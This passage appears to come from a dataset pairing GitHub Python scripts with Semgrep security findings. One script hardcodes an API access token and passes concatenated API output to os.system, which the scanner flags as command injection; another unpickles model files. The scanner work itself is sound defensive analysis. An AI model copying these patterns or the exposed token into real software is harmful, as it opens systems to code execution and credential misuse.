"start": {"line": 108, "col": 25, "offset": 2923}, "end": {"line": 108, "col": 45, "offset": 2943}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_d1f7736fb7e101c5_70645ce8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 209, "line_end": 209, "column_start": 13, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 209, "col": 13, "offset": 5771}, "end": {"line": 209, "col": 32, "offset": 5790}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_d1f7736fb7e101c5_c9c2755d", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant item.is_abstract() because item.is_abstract is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 211, "line_end": 211, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 211, "col": 12, "offset": 5834}, "end": {"line": 211, "col": 28, "offset": 5850}, "extra": {"message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant item.is_abstract() because item.is_abstract is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-96", "", "CWE-96", "CWE-96", "" ]
[ "rules.python.lang.security.dangerous-globals-use", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.security.dangerous-globals-use", "rules.python.lang.security.dangerous-globals-use", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "security", "maintainability", "security", "security", "maintainability" ]
[ "LOW", "MEDIUM", "LOW", "LOW", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 95, 96, 108, 209, 211 ]
[ 95, 96, 108, 209, 211 ]
[ 13, 37, 25, 13, 12 ]
[ 33, 54, 45, 32, 28 ]
[ "A03:2021 - Injection", "", "A03:2021 - Injection", "A03:2021 - Injection", "" ]
[ "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant clazz.is_abstract() because cla...
[ 5, 5, 5, 5, 5 ]
[ "LOW", "", "LOW", "LOW", "" ]
[ "MEDIUM", "", "MEDIUM", "MEDIUM", "" ]
activitylog.py
/activity/activitylog.py
awynne/scripts
MIT
2024-11-18T18:39:35.070924+00:00
1,644,080,793,000
11ba08c4e8547496f13577188db24abec2866624
3
{ "blob_id": "11ba08c4e8547496f13577188db24abec2866624", "branch_name": "refs/heads/master", "committer_date": 1644080793000, "content_id": "a668e0faa067e76d3c2dfdefa39c28776cfcad14", "detected_licenses": [ "MIT" ], "directory_id": "5368768a91c242037776f39f480e8fe93984815b", "extension": "py", "filename": "glossika_split_audio.py", "fork_events_count": 6, "gha_created_at": 1518294388000, "gha_event_created_at": 1616365985000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 121051361, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3186, "license": "MIT", "license_type": "permissive", "path": "/glossika-to-anki/glossika_split_audio.py", "provenance": "stack-edu-0054.json.gz:569964", "repo_name": "emesterhazy/glossika-to-anki", "revision_date": 1644080793000, "revision_id": "d6a3e13f2e09ed8e47bb957994281dbca89e35c7", "snapshot_id": "1a54d080906c0543f3e14fc70a2a23ec66b84a0d", "src_encoding": "UTF-8", "star_events_count": 32, "url": "https://raw.githubusercontent.com/emesterhazy/glossika-to-anki/d6a3e13f2e09ed8e47bb957994281dbca89e35c7/glossika-to-anki/glossika_split_audio.py", "visit_date": "2022-02-07T03:36:50.362436" }
2.53125
stackv2
#!/usr/bin/env python3 import glob import os import re import subprocess import sys def main(): src_dir = os.path.join('glossika_source', 'audio') out_dir = os.path.join('glossika_output', 'audio') if not os.path.exists(src_dir): os.makedirs(src_dir) sys.exit('\nCreated {}\n' 'Copy GMS-C mp3 files into this folder and re-run.\n' 'Files can be within sub-folders.'.format(src_dir)) files = glob.glob( os.path.join(src_dir, '**', 'EN*-GMS-C-????.mp3'), recursive=True) if len(files) == 0: print('\nNo matching audio files detected.\n' 'Refer to the readme for the required file name pattern.') return else: if not os.path.exists(out_dir): os.makedirs(out_dir) print('\nProcessing {} files...\n'.format(len(files))) for f in sorted(files, key=lambda x: re.search('(\d{4})', x).group(1)): f_name = f.split(os.sep)[-1] print('Processing {}'.format(f_name)) re_match = re.search('EN(.{2,4})-..-GMS-C-(\d{4}).mp3', f) if not re_match: print('File name does not match\n' 'Skipping {}'.format(f_name)) continue language = re_match.group(1) from_phrase = int(re_match.group(2)) to_phrase = from_phrase + 49 """ Run mp3splt Parameters tested with: mp3splt 2.6.2 (09/11/14) - using libmp3splt 0.9.2 -n No tags. Allows you to concatenate the files later -x No Xing headers. Same as above -s Silence mode ~ split files with silence detection -p Parameters for silence mode rm=0.2_0 Remove silence between tracks. Leaves 0.2 at beginning and 0 at the end min=1.9 Split on a minimum of 1.9 seconds of silence shots=12 Min shots following silence to qualify. Decreased from default of 24 for small sentences -o @N3 Name output files with 3 digit ints -d Output directory """ st = subprocess.run( args=['mp3splt', '-n', '-x', '-s', '-p', 'rm=0.2_0,min=1.9,th=-64,shots=12', '-o', '@N3', '-d', out_dir, f], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) if st.returncode != 0: sys.exit('Something went wrong...\nCheck files and retry.') s_files = glob.glob(os.path.join(out_dir, '???.mp3')) if len(s_files) != 54: sys.exit('Expected 54 files but got {}.\n' 'Aborting at {}'.format(len(s_files), f_name)) # Rename files sequentially and skip Glossika intro & outro s_files = sorted(s_files)[2:52] count = from_phrase for f in s_files: name = '{}-{:04d}.mp3'.format(language, count) count += 1 os.rename(f, os.path.join(out_dir, name)) for f in glob.glob(os.path.join(out_dir, '???.mp3')): os.remove(f) try: os.remove('mp3splt.log') except FileNotFoundError: pass print('\nAudio split complete!') if __name__ == '__main__': main()
91
34.01
75
16
840
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_8b79d7cc27e0d638_7bb525ad", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 65, "column_start": 14, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/8b79d7cc27e0d638.py", "start": {"line": 61, "col": 14, "offset": 2087}, "end": {"line": 65, "col": 66, "offset": 2325}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 61 ]
[ 65 ]
[ 14 ]
[ 66 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
glossika_split_audio.py
/glossika-to-anki/glossika_split_audio.py
emesterhazy/glossika-to-anki
MIT
2024-11-18T18:39:36.243430+00:00
1,477,036,417,000
f2c3cbce847210a7cad7c1ea53ecb3cce16dca0f
2
{ "blob_id": "f2c3cbce847210a7cad7c1ea53ecb3cce16dca0f", "branch_name": "refs/heads/master", "committer_date": 1477036417000, "content_id": "aceda20e8fcfb5550f0a35f3088b710f39639a23", "detected_licenses": [ "Apache-2.0" ], "directory_id": "114d45d502b53f739aee6e5df61b20edfbac07f2", "extension": "py", "filename": "api_connection.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 71348359, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1364, "license": "Apache-2.0", "license_type": "permissive", "path": "/api_connection.py", "provenance": "stack-edu-0054.json.gz:569976", "repo_name": "wangejay/smartoffice2", "revision_date": 1477036417000, "revision_id": "a842b2f6b93a8c4fd536c67f4dd4b279c7e0352b", "snapshot_id": "38b8dbbc7501726214b4dd41610bff1079fa5373", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/wangejay/smartoffice2/a842b2f6b93a8c4fd536c67f4dd4b279c7e0352b/api_connection.py", "visit_date": "2021-05-04T02:33:19.779296" }
2.359375
stackv2
#!/usr/bin/env python # -*- coding: utf-8 -*- import os.path import sys import json try: import apiai except ImportError: sys.path.append( os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir) ) import apiai CLIENT_ACCESS_TOKEN = '9837df6bcc2a435cbcfac3698d24db42' def main(): ai = apiai.ApiAI(CLIENT_ACCESS_TOKEN) request = ai.text_request() request.lang = 'en' # optional, default value equal 'en' # request.session_id = "<SESSION ID, UNIQUE FOR EACH USER>" if sys.argv[1]: request.query = sys.argv[1] else: request.query = "how to save the power" response = request.getresponse() data_string= response.read() print (data_string) data = json.loads(data_string) print (data["result"]["parameters"]["date"]) print (data["result"]) print (data["id"]) id_test=data["id"] print (id_test[3:5]) date_test= str(data["result"]["parameters"]["date"]) date_string =date_test[3:13] print (date_string) any_test= str(data["result"]["parameters"]["any"]) any_string =any_test print (any_string) if sys.argv[1]: print sys.argv[1] p_comment= "python /Users/wangejay/Github/smartoffice/calendar_manage.py "+ date_string +" "+any_string os.system(p_comment) if __name__ == '__main__': main()
60
21.75
107
15
371
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_98d9cc297a1f8e0b_c44d9aa3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 5, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/98d9cc297a1f8e0b.py", "start": {"line": 57, "col": 5, "offset": 1305}, "end": {"line": 57, "col": 25, "offset": 1325}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_98d9cc297a1f8e0b_de6fe645", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 5, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/98d9cc297a1f8e0b.py", "start": {"line": 57, "col": 5, "offset": 1305}, "end": {"line": 57, "col": 25, "offset": 1325}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 57, 57 ]
[ 57, 57 ]
[ 5, 5 ]
[ 25, 25 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found user-controll...
[ 7.5, 7.5 ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
api_connection.py
/api_connection.py
wangejay/smartoffice2
Apache-2.0
2024-11-18T18:39:37.600510+00:00
1,674,000,526,000
7eb7f4a97c9b1a514e863344aa96cc80a38ae3d2
3
{ "blob_id": "7eb7f4a97c9b1a514e863344aa96cc80a38ae3d2", "branch_name": "refs/heads/master", "committer_date": 1674000526000, "content_id": "65bc732acdb4978384d6339f0d314108a5ca8d82", "detected_licenses": [ "Apache-2.0" ], "directory_id": "cf8f5c5181466078f6d58bd0e22f5667e131c848", "extension": "py", "filename": "demo.py", "fork_events_count": 2, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 413199643, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1536, "license": "Apache-2.0", "license_type": "permissive", "path": "/src/demo/demo.py", "provenance": "stack-edu-0054.json.gz:569993", "repo_name": "SoftwareUnderstanding/rolf", "revision_date": 1674000526000, "revision_id": "5e0ce7b405020bb1e7c2a74d2df9273e3e2078ce", "snapshot_id": "a1d96cd083f1fbcb92132629e931ec2a4fc13a95", "src_encoding": "UTF-8", "star_events_count": 8, "url": "https://raw.githubusercontent.com/SoftwareUnderstanding/rolf/5e0ce7b405020bb1e7c2a74d2df9273e3e2078ce/src/demo/demo.py", "visit_date": "2023-04-17T21:13:59.371341" }
2.78125
stackv2
import pandas as pd import pickle import sys, os sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) from Preprocessor import Preprocessor import os import argparse import requests from pathlib import Path parser = argparse.ArgumentParser(description='Try classification') parser.add_argument('--models_dir', dest='models_dir', help='The path to the folder containing the models', required=True) parser.add_argument('--readme_url', dest='readme_url', help='GitHub URL to the raw readme') parser.add_argument('--text_file', dest='text_file', help='Path to the txt file that contains the text') parser.add_argument('--threshold', dest='threshold', type=float, help='Threshold for predicting positive samples', default=0.7) args = parser.parse_args() text = '' if args.readme_url: r = requests.get(args.readme_url) r.raise_for_status() text = r.text elif args.text_file: with open(args.text_file) as f: text = f.read().replace('\n', ' ') else: raise Exception('No text is given') text = pd.DataFrame([text], columns=['Text']) Preprocessor(text).run() dir = Path(args.models_dir) models = os.listdir(dir) predictions = [] for model in models: clf = pickle.load(open(dir/model, 'rb')) [prob] = clf.predict_proba(text) print(prob) if max(prob) >= args.threshold: [pred] = clf.predict(text) else: pred = 'Other' if pred != 'Other': predictions.append(pred) print('Predictions:') if not predictions: print('Other') else: print(predictions)
51
29.12
127
13
357
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_6c9530b9b892b563_ee334b11", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(args.readme_url, timeout=30)", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 9, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 23, "col": 9, "offset": 819}, "end": {"line": 23, "col": 38, "offset": 848}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(args.readme_url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_6c9530b9b892b563_0c0cdeeb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 10, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 27, "col": 10, "offset": 922}, "end": {"line": 27, "col": 30, "offset": 942}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6c9530b9b892b563_81a255d2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 39, "column_start": 11, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 39, "col": 11, "offset": 1212}, "end": {"line": 39, "col": 45, "offset": 1246}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_6c9530b9b892b563_9ff0e00a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `pred == pred` or `pred != pred`. If testing for floating point NaN, use `math.isnan(pred)`, or `cmath.isnan(pred)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 8, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 44, "col": 8, "offset": 1395}, "end": {"line": 44, "col": 23, "offset": 1410}, "extra": {"message": "This expression is always True: `pred == pred` or `pred != pred`. If testing for floating point NaN, use `math.isnan(pred)`, or `cmath.isnan(pred)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-502", "" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.correctness.useless-eqeq" ]
[ "security", "correctness" ]
[ "LOW", "MEDIUM" ]
[ "MEDIUM", "LOW" ]
[ 39, 44 ]
[ 39, 44 ]
[ 11, 8 ]
[ 45, 23 ]
[ "A08:2017 - Insecure Deserialization", "" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "This expression is always True: `pred == pred` ...
[ 5, 3 ]
[ "LOW", "" ]
[ "MEDIUM", "" ]
demo.py
/src/demo/demo.py
SoftwareUnderstanding/rolf
Apache-2.0
2024-11-18T18:39:40.101426+00:00
1,518,979,038,000
fbfac6c2603026765589f936e80329e545efddba
3
{ "blob_id": "fbfac6c2603026765589f936e80329e545efddba", "branch_name": "refs/heads/master", "committer_date": 1518979038000, "content_id": "802569b996a3bf774b4cb7f303db02a4f0c8dc34", "detected_licenses": [ "MIT" ], "directory_id": "a2b2496eaf3e9e3afd6e0098e955f4321d53e30b", "extension": "py", "filename": "guidata.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 79606972, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5858, "license": "MIT", "license_type": "permissive", "path": "/guiUtil/guidata.py", "provenance": "stack-edu-0054.json.gz:570026", "repo_name": "cjsantucci/h5Widget", "revision_date": 1518979038000, "revision_id": "f0768e7ffbc817741bfc980b69566efe002dd668", "snapshot_id": "d8424e4252fb1413739670071673cfaa24ec9e95", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/cjsantucci/h5Widget/f0768e7ffbc817741bfc980b69566efe002dd668/guiUtil/guidata.py", "visit_date": 